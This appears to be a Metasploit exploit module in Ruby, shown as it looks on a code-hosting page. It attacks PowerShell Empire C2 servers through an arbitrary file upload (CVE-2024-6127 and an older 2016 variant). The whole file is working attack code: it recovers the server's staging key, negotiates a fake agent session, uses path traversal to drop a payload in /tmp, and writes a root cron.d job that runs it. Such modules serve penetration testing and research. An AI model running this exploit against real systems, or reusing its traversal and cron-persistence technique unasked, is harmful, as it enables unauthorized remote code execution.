453 lines
17 KiB
Ruby
453 lines
17 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
GENERATOR = 2
|
|
PRIME = '0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A087'\
|
|
'98E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5C'\
|
|
'B6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163'\
|
|
'FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C3290'\
|
|
'5E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D'\
|
|
'2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3'\
|
|
'970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A645'\
|
|
'21F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A9210801'\
|
|
'1A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF'\
|
|
'92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76217048'\
|
|
'1CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB260264'\
|
|
'6DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B'\
|
|
'14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D17'\
|
|
'21D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF'\
|
|
'585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8'\
|
|
'A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E'\
|
|
'6DCC4024FFFFFFFFFFFFFFFF'.to_i(16)
|
|
STAGE0 = 1
|
|
STAGE1 = 2
|
|
STAGE2 = 3
|
|
RESULT_POST = 5
|
|
TASK_DOWNLOAD = 41
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
|
|
'Description' => %q{
|
|
A vulnerability existed in the new Empire (maintained by BC Security)
|
|
prior to commit e73e883 (<v5.9.3) or the original PowerShellEmpire
|
|
server prior to commit f030cf62 which would allow an arbitrary file
|
|
to be written to an attacker controlled location with the permissions
|
|
of the Empire server.
|
|
|
|
This exploit will write the payload to /tmp/ directory followed by a
|
|
cron.d file to execute the payload.
|
|
},
|
|
'Author' => [
|
|
'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
|
|
'Erik Daguerre', # Original Metasploit module
|
|
'ACE-Responder', # Patch bypass discovery & Python PoC
|
|
'Takahiro Yokoyama' # Update Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2024-6127'], # patch bypass
|
|
['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
|
|
['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
|
|
['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
|
|
],
|
|
'Payload' => {
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => %w[linux python],
|
|
'Targets' => [
|
|
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
|
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
|
|
],
|
|
'DefaultOptions' => { 'WfsDelay' => 75 },
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2016-10-15',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
# original
|
|
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
|
|
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
|
|
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
|
|
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]),
|
|
# patch bypass
|
|
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]),
|
|
OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]),
|
|
OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
@staging_key = get_staging_key
|
|
return Exploit::CheckCode::Safe if @staging_key.nil?
|
|
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def aes_encrypt(key, data, include_mac: false)
|
|
cipher = OpenSSL::Cipher.new('aes-256-cbc')
|
|
cipher.encrypt
|
|
iv = cipher.random_iv
|
|
cipher.key = key
|
|
cipher.iv = iv
|
|
data = iv + cipher.update(data) + cipher.final
|
|
|
|
digest = OpenSSL::Digest.new('sha1')
|
|
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
|
|
|
|
data
|
|
end
|
|
|
|
def create_packet(res_id, data, counter = nil)
|
|
data = Rex::Text.encode_base64(data)
|
|
counter = Time.new.to_i if counter.nil?
|
|
|
|
[ res_id, counter, data.length ].pack('VVV') + data
|
|
end
|
|
|
|
def reversal_key
|
|
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
|
|
[
|
|
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
|
|
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
|
|
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
|
|
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
|
|
]
|
|
end
|
|
|
|
def rsa_encode_int(value)
|
|
encoded = []
|
|
while value > 0
|
|
encoded << (value & 0xff)
|
|
value >>= 8
|
|
end
|
|
|
|
Rex::Text.encode_base64(encoded.reverse.pack('C*'))
|
|
end
|
|
|
|
def rsa_key_to_xml(rsa_key)
|
|
rsa_key_xml = "<RSAKeyValue>\n"
|
|
rsa_key_xml << " <Exponent>#{rsa_encode_int(rsa_key.e.to_i)}</Exponent>\n"
|
|
rsa_key_xml << " <Modulus>#{rsa_encode_int(rsa_key.n.to_i)}</Modulus>\n"
|
|
rsa_key_xml << '</RSAKeyValue>'
|
|
|
|
rsa_key_xml
|
|
end
|
|
|
|
def get_staging_key
|
|
# patch bypass
|
|
if datastore['CVE'] == 'CVE-2024-6127'
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'download/python/')
|
|
})
|
|
return unless res && res.code == 200
|
|
|
|
match = /IV\+'(.*)'\.encode/.match(res.body)
|
|
return match[1].bytes if match
|
|
|
|
return
|
|
end
|
|
|
|
# STAGE0_URI resource requested by the initial launcher
|
|
# The default STAGE0_URI resource is index.asp
|
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
|
|
})
|
|
return unless res && res.code == 200
|
|
|
|
@staging_key = Array.new(32, nil)
|
|
staging_data = res.body.bytes
|
|
|
|
reversal_key.each_with_index do |(pos, char_code), key_pos|
|
|
@staging_key[key_pos] = staging_data[pos] ^ char_code
|
|
end
|
|
|
|
return if @staging_key.include? nil
|
|
|
|
# at this point the staging key should have been fully recovered but
|
|
# we'll verify it by attempting to decrypt the header of the stage
|
|
decrypted = []
|
|
staging_data[0..23].each_with_index do |byte, pos|
|
|
decrypted << (byte ^ @staging_key[pos])
|
|
end
|
|
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
|
|
|
|
@staging_key
|
|
end
|
|
|
|
def write_file(path, data, session_id, session_key, server_epoch)
|
|
if datastore['CVE'] == 'CVE-2024-6127'
|
|
write_file_cve_2024_6127(path, data, session_id, session_key)
|
|
return
|
|
end
|
|
|
|
# target_url.path default traffic profile for empire agent communication
|
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
|
|
data = create_packet(
|
|
TASK_DOWNLOAD,
|
|
[
|
|
'0',
|
|
session_id + path,
|
|
Rex::Text.encode_base64(data)
|
|
].join('|'),
|
|
server_epoch
|
|
)
|
|
|
|
if datastore['PROFILE'].blank?
|
|
profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample)
|
|
else
|
|
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'cookie' => "SESSIONID=#{session_id}",
|
|
'data' => aes_encrypt(session_key, data, include_mac: true),
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(profile_uri)
|
|
})
|
|
fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200
|
|
|
|
res
|
|
end
|
|
|
|
def cron_file(command)
|
|
cron_file = 'SHELL=/bin/sh'
|
|
cron_file << "\n"
|
|
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
|
|
cron_file << "\n"
|
|
cron_file << "* * * * * root #{command}"
|
|
cron_file << "\n"
|
|
|
|
cron_file
|
|
end
|
|
|
|
def exploit
|
|
vprint_status('Recovering the staging key...')
|
|
@staging_key ||= get_staging_key
|
|
if @staging_key.nil?
|
|
fail_with(Failure::Unknown, 'Failed to recover the staging key')
|
|
end
|
|
vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}")
|
|
@staging_key = @staging_key.pack('C*')
|
|
|
|
case datastore['CVE']
|
|
when 'CVE-2024-6127'
|
|
# stage0
|
|
# This stage is unnecessary for our purposes.
|
|
session_id = SecureRandom.alphanumeric(8).upcase
|
|
dummy = SecureRandom.alphanumeric(8)
|
|
send_data_to_stage(@staging_key, dummy, STAGE0, session_id)
|
|
|
|
# stage1
|
|
dh = OpenSSL::PKey::DH.new(
|
|
OpenSSL::ASN1::Sequence([
|
|
OpenSSL::ASN1::Integer(PRIME),
|
|
OpenSSL::ASN1::Integer(GENERATOR)
|
|
]).to_der
|
|
)
|
|
if OpenSSL::PKey.respond_to?(:generate_key)
|
|
dh = OpenSSL::PKey.generate_key(dh)
|
|
else
|
|
dh.generate_key!
|
|
end
|
|
private_key = dh.priv_key.to_i
|
|
public_key = dh.pub_key.to_s
|
|
res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id)
|
|
fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
|
|
vprint_good('Successfully sent the key to STAGE1')
|
|
|
|
# decrypt the response and pull out the epoch and session_key
|
|
packet = aes_decrypt(@staging_key, res.body)
|
|
nonce = packet[..15].to_i
|
|
server_pub = packet[16..].to_i
|
|
shared_secret = server_pub.pow(private_key, PRIME)
|
|
# https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
|
|
# _sharedSecretBytes = self.sharedSecret.to_bytes(
|
|
# len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
|
|
# )
|
|
# 2(0b) + 1(- 2 // 8 + 1) = 3
|
|
shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3)
|
|
sha = OpenSSL::Digest.new('sha256')
|
|
sha.update(shared_secret)
|
|
session_key = sha.digest
|
|
print_good('Successfully negotiated an artificial Empire agent')
|
|
|
|
# stage2
|
|
sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
|
|
res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id)
|
|
fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
|
|
aes_decrypt(session_key, res.body)
|
|
|
|
server_epoch = nil
|
|
log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
|
|
|
|
else
|
|
rsa_key = OpenSSL::PKey::RSA.new(2048)
|
|
session_id = Array.new(50, '..').join('/')
|
|
# STAGE1_URI, The resource used by the RSA key post
|
|
# The default STAGE1_URI resource is index.jsp
|
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
|
|
res = send_request_cgi({
|
|
'cookie' => "SESSIONID=#{session_id}",
|
|
'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)),
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
|
|
})
|
|
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200
|
|
vprint_good('Successfully sent the RSA key')
|
|
|
|
# decrypt the response and pull out the epoch and session_key
|
|
body = rsa_key.private_decrypt(res.body)
|
|
server_epoch = body[0..9].to_i
|
|
session_key = body[10..]
|
|
print_good('Successfully negotiated an artificial Empire agent')
|
|
|
|
log_path = '/agent.log'
|
|
|
|
end
|
|
|
|
payload_data = nil
|
|
payload_path = '/tmp/' + rand_text_alpha(8)
|
|
|
|
case target['Arch']
|
|
when ARCH_PYTHON
|
|
cron_command = "python #{payload_path}"
|
|
payload_data = payload.raw
|
|
|
|
when ARCH_X86, ARCH_X64
|
|
cron_command = "chmod +x #{payload_path} && #{payload_path}"
|
|
payload_data = payload.encoded_exe
|
|
|
|
end
|
|
|
|
print_status("Writing payload to #{payload_path}")
|
|
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
|
|
|
|
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
|
print_status("Writing cron job to #{cron_path}")
|
|
|
|
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
|
|
print_status('Waiting for cron job to run, can take up to 60 seconds')
|
|
|
|
register_files_for_cleanup(cron_path)
|
|
register_files_for_cleanup(payload_path)
|
|
# Empire writes to a log file location based on the Session ID, so when
|
|
# exploiting this vulnerability that file ends up in the root directory.
|
|
register_files_for_cleanup(log_path)
|
|
end
|
|
|
|
def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000')
|
|
data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL')
|
|
rc4_iv = SecureRandom.random_bytes(4)
|
|
key = rc4_iv + @staging_key
|
|
rc4_enc_data = Rex::Crypto.rc4(key, data)
|
|
rc4_iv + rc4_enc_data + enc_data
|
|
end
|
|
|
|
def aes_encrypt_then_hmac(key, data)
|
|
data = aes_encrypt(key, data)
|
|
mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data)
|
|
data + mac[..9]
|
|
end
|
|
|
|
def aes_decrypt(key, data)
|
|
mac = data[-10..]
|
|
sha256_digest = OpenSSL::Digest.new('sha256')
|
|
expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9]
|
|
unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected)
|
|
raise 'Invalid ciphertext received.'
|
|
end
|
|
|
|
size = key.length * 8
|
|
fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256
|
|
|
|
# Create the required cipher instance
|
|
aes = OpenSSL::Cipher.new("AES-#{size}-CBC")
|
|
# Generate a truly random IV
|
|
|
|
# set up the encryption
|
|
aes.decrypt
|
|
aes.key = key
|
|
aes.iv = data[..15]
|
|
|
|
# decrypt!
|
|
aes.update(data[16..-11]) + aes.final
|
|
end
|
|
|
|
def compress(data)
|
|
start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF
|
|
comp_data = Zlib::Deflate.deflate(data)
|
|
Base64.strict_encode64([start_crc32].pack('N') + comp_data)
|
|
end
|
|
|
|
def build_response_packet(tasking_id, packet_data)
|
|
packet_type = [tasking_id].pack('S')
|
|
total_packet = [1].pack('S')
|
|
packet_num = [1].pack('S')
|
|
result_id = [1].pack('S')
|
|
packet_data = Base64.strict_encode64(packet_data)
|
|
if packet_data.length % 4 != 0
|
|
packet_data += '=' * (4 - packet_data.length % 4)
|
|
end
|
|
length = [packet_data.length].pack('L')
|
|
packet_type + total_packet + packet_num + result_id + length + packet_data
|
|
end
|
|
|
|
def to_bytes(num, length = 1, little_endian: false)
|
|
order = little_endian ? (0...length) : (0...length).to_a.reverse
|
|
bytes_array = order.map { |i| (num >> i * 8) & 0xff }
|
|
bytes_array.pack('C*')
|
|
end
|
|
|
|
def write_file_cve_2024_6127(path, data, session_id, session_key)
|
|
path = path.split('/').join('\\')
|
|
packet = build_response_packet(
|
|
TASK_DOWNLOAD,
|
|
[
|
|
'0',
|
|
Array.new(50, '..').join('\\') + path,
|
|
data.length.to_s,
|
|
compress(data)
|
|
].join('|')
|
|
)
|
|
send_data_to_stage(session_key, packet, RESULT_POST, session_id)
|
|
end
|
|
|
|
def send_data_to_stage(session_key, packet, task_id, session_id)
|
|
enc_packet = aes_encrypt_then_hmac(session_key, packet)
|
|
data = build_routing_packet(task_id, enc_packet, session_id)
|
|
res = send_request_cgi({
|
|
'data' => data,
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
|
|
'headers' => { 'Cookie' => datastore['AGENT'] }
|
|
})
|
|
res
|
|
end
|
|
|
|
end
|